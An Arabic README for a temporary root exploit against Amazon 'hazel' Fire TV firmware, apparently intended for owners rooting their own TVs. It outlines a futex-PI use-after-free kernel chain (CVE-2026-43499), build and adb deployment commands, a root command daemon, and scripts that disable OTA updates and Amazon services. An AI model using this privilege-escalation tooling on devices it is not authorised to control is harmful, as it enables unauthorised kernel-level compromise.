
استغلال جذر مؤقت خاص بالبرامج الثابتة لأجهزة Toshiba/Amazon Fire TV (hazel) باستخدام CVE-2026-43499. ينفّذ ثغرة UAF في futex-PI لمعمارية ARM32، وتسريب عنوان النواة، واستعادة mm_struct، وتصحيح بيانات الاعتماد لتحقيق UID 0 عبر ADB.
استغلال جذر مؤقت لمنصة Amazon hazel Fire TV، مبني على
CVE-2026-43499. الاستغلال مخصص لبرنامج ثابت ARM32
Linux 4.9 المشترك بين أجهزة تلفاز Hazel من عدة مصنّعين.
تغطي الملفات التعريفية حاليًا البرامج الثابتة من PS7657.3645N حتى PS7716.5665N.
التكوين المُختبَر على العتاد حاليًا هو:
| الجهاز | Toshiba Fire TV (hazel) |
| إصدار Fire OS | PS7716.5665N |
| النواة | Linux 4.9.113 |
| طراز المنتج | AFTHA004 (C350) |
[!WARNING] يظل هذا الاستغلال خاصًا بالبرنامج الثابت رغم أنه يدعم إصدارات Hazel متعددة. تُحمَّل عناوين النواة وإزاحات البُنى وإعدادات الاستعادة من ملفات تعريفية صارمة. تم اختبار
PS7716.5665Nعلى العتاد؛ أما الملفات التعريفية الأقدم المضمّنة فمبنية على تحليل ثابت للبرنامج الثابت ولا تزال بحاجة إلى تقارير من أجهزة تلفاز مطابقة.لا تتجاوز مطابقة الملف التعريفي ولا تنسخ العناوين يدويًا إلى برنامج ثابت غير مرتبط. لا تزال الملفات التعريفية المولّدة ثابتًا تتطلب تأكيدًا على عتاد مطابق.
قد تؤدي فشل عملية استعادة الكومة إلى panic وإعادة تشغيل التلفاز. الجذر مؤقت ويُفقد بعد إعادة التشغيل. إذا تجمّد تلفازك، يمكنك دائمًا إعادة تشغيله بإطفائه وتشغيله.
يستخدم الاستغلال CVE-2026-43499 للحصول على UID 0 مؤقت من بيئة ADB shell العادية.
تشمل سلسلة الاستغلال:
mm_struct عبر الكاشات (cross-cache)بعد تشغيل ناجح، يُبقي الاستغلال كائنات النواة التي يحتاجها مسار الجذر حيّة ويشغّل خادم أوامر محليًا.
يبقى SELinux في وضع Enforcing. تحتفظ الأوامر المنفَّذة عبر خادم الجذر بنطاق SELinux الخاص بـ shell ومجموعة حدود القدرات المتاحة على هذا البرنامج الثابت.
hazel_root.c الاستغلال الرئيسي، ومرحلة القراءة/الكتابة في النواة، وتعديل بيانات الاعتماد، وعميل/خادم أوامر الجذرhazel_reclaim.h تسريب عنوان النواة واستعادة mm_struct عبر الكاشاتhazel_profile.c، hazel_profile.h محلّل الملف التعريفي الصارم ومطابِقه وقت التشغيلprofiles/ ملفات تعريفية للبرنامج الثابت مُراجَعة ومولّدةtools/profile_creator/ محلّل برنامج ثابت بلغة Python/uv ومنشئ ملفات تعريفية متوافقةtools/device_scripts/ أدوات اختيارية لـ OTA وخدمات Amazon والمشغّل (launcher)تفترض الأمثلة أدناه نظام Linux وتوفر adb في $PATH.
اضبط NDK على دليل Android NDK r27d الخاص بك:
export NDK=/path/to/android-ndk-r27d
ثم قم بالترجمة:
"$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" \
--target=armv7a-linux-androideabi28 \
-O2 -g0 -Wall -Wextra -Wpedantic -fPIE -pie \
hazel_root.c hazel_profile.c -o hazel_root \
-pthread
اتصل بالتلفاز باستخدام ADB.
إذا كنت تستخدم ADB عبر الشبكة:
adb connect <TV_IP>:5555
ادفع الاستغلال:
adb shell mkdir -p /data/local/tmp/profiles
adb push hazel_root /data/local/tmp/hazel_root
adb shell chmod 755 /data/local/tmp/hazel_root
adb push profiles/. /data/local/tmp/profiles/
تحقق من اختيار الملف الشخصي دون تفعيل الاستغلال:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile'
يتطلب المُحمِّل تطابقات دقيقة لكلٍّ من ro.product.device، وبصمة البناء،
والإصدار التزايدي، وإصدار النواة، والمعمارية. ويرفض الملفات الشخصية المشوّهة،
والحقول غير المعروفة، ومسارات الاستغلال غير المدعومة، والتطابقات المفقودة،
والملفات الشخصية المتطابقة المتعددة. ويمكن التحقق من ملف شخصي صريح باستخدام:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile --profile profiles/PROFILE.conf'
ابدأ من إقلاع نظيف:
adb shell 'cd /data/local/tmp && ./hazel_root'
ينتهي التشغيل الناجح بمخرجات مشابهة لما يلي:
[root] uid=0 euid=0 gid=0
[ROOT] uid=0 daemon pid=... socket=@hazel_root
إعادة الاستحواذ احتمالية. قد تفشل المحاولة غير الناجحة بشكل نظيف أو تتسبب في ذعر وإعادة تشغيل التلفاز.
إذا أعاد التلفاز التشغيل، فاتركه يقلع بشكل طبيعي وحاول مرة أخرى.
بمجرد نجاح الاستغلال، لا تشغّل نسخة أخرى. يمكنك إغلاق العملية قيد التشغيل، والمتابعة بالأوامر التالية.
يعمل نفس الملف التنفيذي كعميل لخدمة root الخفية:
adb shell 'cd /data/local/tmp && ./hazel_root --client id'
على سبيل المثال:
adb shell 'cd /data/local/tmp && ./hazel_root --client getenforce'
adb shell 'cd /data/local/tmp && ./hazel_root --client cat /proc/self/status'
adb shell 'cd /data/local/tmp && ./hazel_root --client "id; uname -a"'
يجب أن يُبلّغ أمر الجذر الناجح عن:
uid=0(root) gid=0(root) context=u:r:shell:s0
لاحظ أن UID 0 لا يتجاوز SELinux. يبقى SELinux في وضع Enforcing.
ادفع وشغّل tools/device_scripts/disable_ota.sh عبر خادم الجذر (root daemon):
adb push tools/device_scripts/disable_ota.sh /data/local/tmp/disable_ota.sh
adb shell chmod 755 /data/local/tmp/disable_ota.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_ota.sh"'
يقوم السكربت بتعطيل حزمتي Fire OS OTA، ويمسح حالة المُحدِّث المعلّقة، ويتحقق من حالة Package Manager الناتجة. لا يقوم بإعادة تشغيل التلفاز.
يقوم tools/device_scripts/disable_amazon_services.sh بتعطيل وكيل التكوين البعيد Arcus،
وخدمة حظر التطبيقات ADEP، والتعرّف التلقائي على المحتوى (ACR)، وحزم
مقاييس Amazon المخصصة الموجودة على برنامج Hazel الثابت المُختبَر. يتم تعطيل ACR
ومسح بياناته المخزّنة، لكن ملف APK الخاص بالنظام للقراءة فقط لا يتم
حذفه، مما يجعل العملية قابلة للتراجع. لا يقوم السكربت بتعطيل
CrashManager أو حزم التسجيل منخفضة المستوى، لذا تبقى تشخيصات kernel panic وDropbox
متاحة أثناء تطوير الاستغلال أو استكشاف الأخطاء وإصلاحها.
ادفع السكربت إلى الجهاز وشغّله عبر خادم الجذر الخفي (root daemon):
adb push tools/device_scripts/disable_amazon_services.sh /data/local/tmp/disable_amazon_services.sh
adb shell chmod 755 /data/local/tmp/disable_amazon_services.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh"'
اعرض الحالة الحالية دون تغيير أي شيء:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh status"'
استعد الحزم لاحقًا إذا لزم الأمر:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh restore"'
عادةً ما تبقى حالة الحزمة المفعّلة أو المعطّلة بعد إعادة التشغيل. استعادة الحزم لا تستعيد بيانات الحزمة التي تم مسحها أثناء تعطيلها.
توجد سكربتات المشغّل أيضًا في tools/device_scripts/. لاختيار Projectivy:
adb push tools/device_scripts/set_projectivy_launcher.sh /data/local/tmp/set_projectivy_launcher.sh
adb shell chmod 755 /data/local/tmp/set_projectivy_launcher.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/set_projectivy_launcher.sh"'
لاستعادة المشغّل الافتراضي:
adb push tools/device_scripts/restore_stock_launcher.sh /data/local/tmp/restore_stock_launcher.sh
adb shell chmod 755 /data/local/tmp/restore_stock_launcher.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/restore_stock_launcher.sh"'
أعد تشغيل التلفاز:
adb reboot
لا يعدّل الاستغلال سوى حالة النواة المؤقتة، لذا تُفقد صلاحيات root بعد إعادة التشغيل.
التغييرات التي تُجرى عمدًا على إعدادات Android الدائمة أو بياناتها أثناء تفعيل root لا تُلغى بالضرورة عند إعادة التشغيل، بطبيعة الحال.
جميع إصدارات برامج Hazel الثابتة الـ 24 المدرجة حاليًا في أرشيف البرامج الثابتة ممثَّلة بملفات تعريف في profiles/، من PS7657.3645N حتى PS7716.5665N.
وكلها متاحة للاختيار التلقائي عندما تتطابق هوية الجهاز.